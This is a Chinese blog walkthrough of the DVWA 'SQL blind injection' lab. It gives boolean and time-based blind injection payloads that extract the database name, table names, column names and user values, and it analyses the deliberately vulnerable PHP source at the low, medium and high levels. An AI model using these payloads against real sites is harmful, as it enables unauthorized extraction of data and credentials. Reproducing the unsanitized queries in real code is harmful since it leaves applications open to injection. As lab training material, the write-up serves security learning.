• 7、DVWA——SQL盲注


    一、概述

      盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

    普通注入与盲注的区别:

      普通注入是可以根据报错提示,进行sql语句注入从而,直接爆出我们想要的信息,比如数据库版本、数据库名、用户名、操作系统版本等;而盲注只能通过多次猜测,从而猜解出有用信息。相对来说sql盲注更加考验安全人员的手注能力。

    SQL盲注分类:

    • 布尔盲注
    • 时间盲注

    二、low

    2.1 通关思路(布尔盲注)

    (1)判断是否存在SQL注入漏洞

    在参数后面添加',来判断是否存在sql注入漏洞。

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    • 引号被拼接到SQL语句中,由此可见,存在SQL注入漏洞。
    • 同时,此处只是返回ID值在不在数据库中,页面可由此分为True和False,因此,该SQL注入属于布尔盲注。

    (2)判断属于数字型注入还是字符型注入

    在这里插入图片描述

    1+and+1=1+--+
    
    • 1

    注意:payload需要URL编码。

    在这里插入图片描述

    1+and+1=2+--+
    
    • 1

    在这里插入图片描述

    两次页面返回一致,属于字符型注入。下一步判断闭合符号~

    1'+and+1=1+--+
    
    • 1

    在这里插入图片描述

    1'+and+1=2+--+
    
    • 1

    在这里插入图片描述

    两次页面返回不一致,故该SQL注入漏洞属于字符型注入,且单引号闭合。

    (3)判断结果集中的字段数

    注意:order by是对查询结果中的某个字段进行排序,并不能说明表中含有几个字段。

    1'+order+by+<数字>+--+
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    可知,该页面(表)存在两个字段。

    (4)猜数据库名长度

    因为盲注没有回显点,故不能使用union进行联合查询。使用length()函数来判断数据库名的长度。

    1'+and+length(database())=1+--+
    
    • 1

    使用sniper进行爆破
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    由此,可知数据库名长度为4。

    (5)猜数据库名

    1'+and+ascii((substr(database(),<变量1>,1)))=<变量2>+--+ 
    
    • 1

    注:

    • substr(string, start, length):提取字串。start从1开始。
    • 大写英文的ASCII值范围:65-90
    • 小写英文的ASCII值范围:97-122
    • 变量1的范围在0-3

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    可以得知,数据库名第一个字母为d。
    依次,可以得到整个数据名为dvwa。

    (6)猜表的个数

    1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema=database())=1+--+
    
    • 1

    同理,爆表个数
    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    由此可见,数据库中存在两个表。

    (7)猜第一个表名

    1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),0,1))=103+--+
    
    • 1

    注:limit 0,1 代表第一行数据;选第二行数据应该是limit 1,1
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    • 第一个表名的第一个字母为g;
    • 同理,可以爆破出第一个表名为guestbook,第二个表名为users

    (8)猜user表中的字段个数、每个字段的长度、名称

    1)该表中的字段个数

    1'+and+(select+count(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users')=8+--+
    
    • 1

    在这里插入图片描述

    这里就不进行爆破了,最终可以得到:users表中含有8个字段。

    2)猜第一个字段的长度

    1'+and+length((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1))=7+--+
    
    • 1

    注:

    • 猜第二个字段的长度就将limit 0,1改为limit 1,1,依此类推。

    在这里插入图片描述

    可知,第一个字段长度为7。

    3)猜第一个字段的第一个字母

    1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1),1,1))=117+--+
    
    • 1

    注:第一个字段的第二个字母就将limit+0,1),1,1改为limit+0,1),2,1

    在这里插入图片描述

    • 按照上述思路,对user表中的每个字段进行爆破,最终可以得到每个字段名。
    • 可以知道users表中含有user和password两个字段。

    (9)猜字段内容

    1)以猜user字段的第一个字段值为例:

    1'+and+length((select+user+from+dvwa.users+limit+0,1))=5+--+
    
    • 1

    在这里插入图片描述

    可以得知,第一个字段值长度为5。

    2)猜第一个字段值的首字母

    1'+and+ascii(substr((select+user+from+dvwa.users+limit+0,1),1,1))=97+--+
    
    • 1

    在这里插入图片描述

    可以得到第一个字母为a。用同样的方法得到整个字段值。

    2.2 通关思路(时间盲注)

    (1)判断是否存在SQL注入漏洞,属于字符型还是数字型

    1+and+sleep(5)+--+ //数字型则等待5秒;
    1'+and+sleep(5)+--+ //字符型则等待5秒;
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    故,此处存在SQL注入漏洞,且属于字符型注入,单引号闭合。

    (2)猜测当前数据库名长度、首字母

    1)猜测数据库名长度

    需要用到的函数if(a,b,c):a是条件,满足返回b,不满足返回c

    1'+and+if(length(database())=4,sleep(5),1)+--+
    
    • 1

    在这里插入图片描述

    延迟5秒,说明数据库名的长度为4。

    2)猜测数据库名的首字母

    1'+and+if(ascii((substr(database(),1,1)))=100,sleep(5),1)+--+ 
    
    • 1

    在这里插入图片描述

    • 延迟5秒,说明首字母的ascii值为100;
    • 注意此时页面会报错嗷~
    • 后续步骤同布尔盲注,无非是加了一个if函数。

    2.3 源码分析

    
    
    if( isset( $_GET[ 'Submit' ] ) ) {
        // Get input
        $id = $_GET[ 'id' ];
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
    
        // Get results
        $num = @mysql_numrows( $result ); // The '@' character suppresses errors
        if( $num > 0 ) {
            // Feedback for end user
            echo '
    User ID exists in the database.
    '
    ; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
    User ID is MISSING from the database.
    '
    ; } mysql_close(); } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    分析:
      源码直接用 GET 方法传入参数 id,但是没有经过任何过滤就拿去 SQL 查询了。同时我们看到网页并不会返回查询的结果,而是当查询到内容时返回 “User ID exists in the database”,查不到时返回 “User ID is MISSING from the database”。

    三、medium

    
    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $id = $_POST[ 'id' ];
        $id = mysql_real_escape_string( $id );
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
    
        // Get results
        $num = @mysql_numrows( $result ); // The '@' character suppresses errors
        if( $num > 0 ) {
            // Feedback for end user
            echo '
    User ID exists in the database.
    '
    ; } else { // Feedback for end user echo '
    User ID is MISSING from the database.
    '
    ; } //mysql_close(); } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    分析:源码使用了 mysql_real_escape_string() 函数转义字符串中的特殊字符。也就是说特殊符号 \x00\n\r\'"\x1a 都将进行转义。同时开发者把前端页面的输入框删了,改成了下拉选择表单,希望以此来控制用户的输入。

    需要注意的是,加单引号,页面返回报错,可能会误判。例如,正常是查id等于1的用户,转义后就会去查id等于1\'的用户,显然数据库没有。故,注意可能会误判。

    在这里插入图片描述

    四、high

    
    
    if( isset( $_COOKIE[ 'id' ] ) ) {
        // Get input
        $id = $_COOKIE[ 'id' ];
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
    
        // Get results
        $num = @mysql_numrows( $result ); // The '@' character suppresses errors
        if( $num > 0 ) {
            // Feedback for end user
            echo '
    User ID exists in the database.
    '
    ; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
    User ID is MISSING from the database.
    '
    ; } mysql_close(); } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    分析:High 级别的只是在 SQL 查询语句中添加了 LIMIT 1,这令服务器仅回显查询到的一个结果。同时源码利用了 cookie 传递参数 id,当 SQL 查询结果为空时会执行函数 sleep(),这是为了混淆基于时间的盲注的响应时间判断。

  • 相关阅读:
    mysql导出表结构到excel
    ActiveMQ、RabbitMQ、Kafka、RocketMQ在事务性消息、性能、高可用和容错、定时消息、负载均衡、刷盘策略的区别
    专业扫盲, 熬夜整理56个JavaScript高级的手写知识点【史上最全】
    更新暑假做过的项目(医学数据多标签分类与多标签分割,医学数据二分类)
    webpack构建01-vue项目之 手动webpack打包
    如何在邮箱客户端上设置配置使用多个邮箱
    RocketMQ5.0源码分析-高可用组件AutoSwitchHAClient图文详解
    【SpringCloud】负载均衡
    推荐一个有趣的admin
    Google Chrome(谷歌浏览器)安装使用
  • 原文地址:https://blog.csdn.net/qq_55202378/article/details/132839962